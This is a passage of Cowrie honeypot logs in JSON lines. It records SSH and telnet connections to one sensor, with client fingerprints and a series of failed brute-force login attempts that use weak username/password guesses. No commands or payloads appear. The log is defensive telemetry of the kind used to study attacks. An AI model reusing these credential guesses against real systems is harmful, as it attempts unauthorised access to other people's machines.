af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:50.666121Z","src_ip":"202.145.0.61","session":"f9ce0a58422a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"am","password":"123","message":"login attempt [am/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:51.634254Z","src_ip":"202.145.0.61","session":"f9ce0a58422a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:52.872814Z","src_ip":"202.145.0.61","session":"f9ce0a58422a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":57464,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a02bc9e57f","protocol":"ssh","message":"New connection: 119.28.9.170:57464 (159.203.135.109:22) [session: 73a02bc9e57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:20.449088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:20.454418Z","src_ip":"119.28.9.170","session":"73a02bc9e57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:20.658241Z","src_ip":"119.28.9.170","session":"73a02bc9e57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts","message":"login attempt [ts3/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:21.501693Z","src_ip":"119.28.9.170","session":"73a02bc9e57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:22.709996Z","src_ip":"119.28.9.170","session":"73a02bc9e57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":53628,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf1a889cc21","protocol":"ssh","message":"New connection: 202.145.0.61:53628 (159.203.135.109:22) [session: 0cf1a889cc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:43.291685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:43.295228Z","src_ip":"202.145.0.61","session":"0cf1a889cc21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:43.536260Z","src_ip":"202.145.0.61","session":"0cf1a889cc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"adrian","message":"login attempt [mysql/adrian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:44.532347Z","src_ip":"202.145.0.61","session":"0cf1a889cc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:05:45.777280Z","src_ip":"202.145.0.61","session":"0cf1a889cc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":45396,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a61e3110e9","protocol":"ssh","message":"New connection: 119.28.9.170:45396 (159.203.135.109:22) [session: 76a61e3110e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:08.697519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:08.702374Z","src_ip":"119.28.9.170","session":"76a61e3110e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:08.909068Z","src_ip":"119.28.9.170","session":"76a61e3110e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"www-data","message":"login attempt [ubuntu/www-data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:09.765099Z","src_ip":"119.28.9.170","session":"76a61e3110e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:10.973793Z","src_ip":"119.28.9.170","session":"76a61e3110e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51136,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf34c82937e","protocol":"telnet","message":"New connection: 135.148.33.91:51136 (159.203.135.109:23) [session: dcf34c82937e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:26.526054Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"4338dd8449eb","protocol":"ssh","message":"New connection: 2.57.121.25:49800 (159.203.135.109:22) [session: 4338dd8449eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:32.908441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:32.913274Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:33.018234Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22111992","message":"login attempt [user/22111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:33.513064Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"221090","message":"login attempt [user/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:34.620773Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22101980","message":"login attempt [user/22101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:35.728645Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22081988","message":"login attempt [user/22081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:36.836993Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22071976","message":"login attempt [user/22071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:37.949802Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:39.058594Z","src_ip":"2.57.121.25","session":"4338dd8449eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"38bc13051f65","protocol":"ssh","message":"New connection: 202.145.0.61:42132 (159.203.135.109:22) [session: 38bc13051f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:41.073893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:41.078326Z","src_ip":"202.145.0.61","session":"38bc13051f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:41.312310Z","src_ip":"202.145.0.61","session":"38bc13051f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminas","message":"login attempt [root/adminas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:42.276712Z","src_ip":"202.145.0.61","session":"38bc13051f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:06:43.512923Z","src_ip":"202.145.0.61","session":"38bc13051f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":33336,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dff78026b9d","protocol":"ssh","message":"New connection: 119.28.9.170:33336 (159.203.135.109:22) [session: 2dff78026b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:00.115443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:00.121083Z","src_ip":"119.28.9.170","session":"2dff78026b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:00.330647Z","src_ip":"119.28.9.170","session":"2dff78026b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.51058769226074,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:01.036532Z","src_ip":"135.148.33.91","session":"dcf34c82937e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456@Aa","message":"login attempt [ubuntu/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:01.177091Z","src_ip":"119.28.9.170","session":"2dff78026b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:02.385169Z","src_ip":"119.28.9.170","session":"2dff78026b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":58868,"dst_ip":"159.203.135.109","dst_port":22,"session":"5447689c822e","protocol":"ssh","message":"New connection: 202.145.0.61:58868 (159.203.135.109:22) [session: 5447689c822e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:37.904882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:37.909533Z","src_ip":"202.145.0.61","session":"5447689c822e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:38.149853Z","src_ip":"202.145.0.61","session":"5447689c822e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ABCabc123","message":"login attempt [admin/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:39.143655Z","src_ip":"202.145.0.61","session":"5447689c822e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:40.425206Z","src_ip":"202.145.0.61","session":"5447689c822e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":49510,"dst_ip":"159.203.135.109","dst_port":22,"session":"8028df8f3ba2","protocol":"ssh","message":"New connection: 119.28.9.170:49510 (159.203.135.109:22) [session: 8028df8f3ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:49.636250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:49.644464Z","src_ip":"119.28.9.170","session":"8028df8f3ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","ae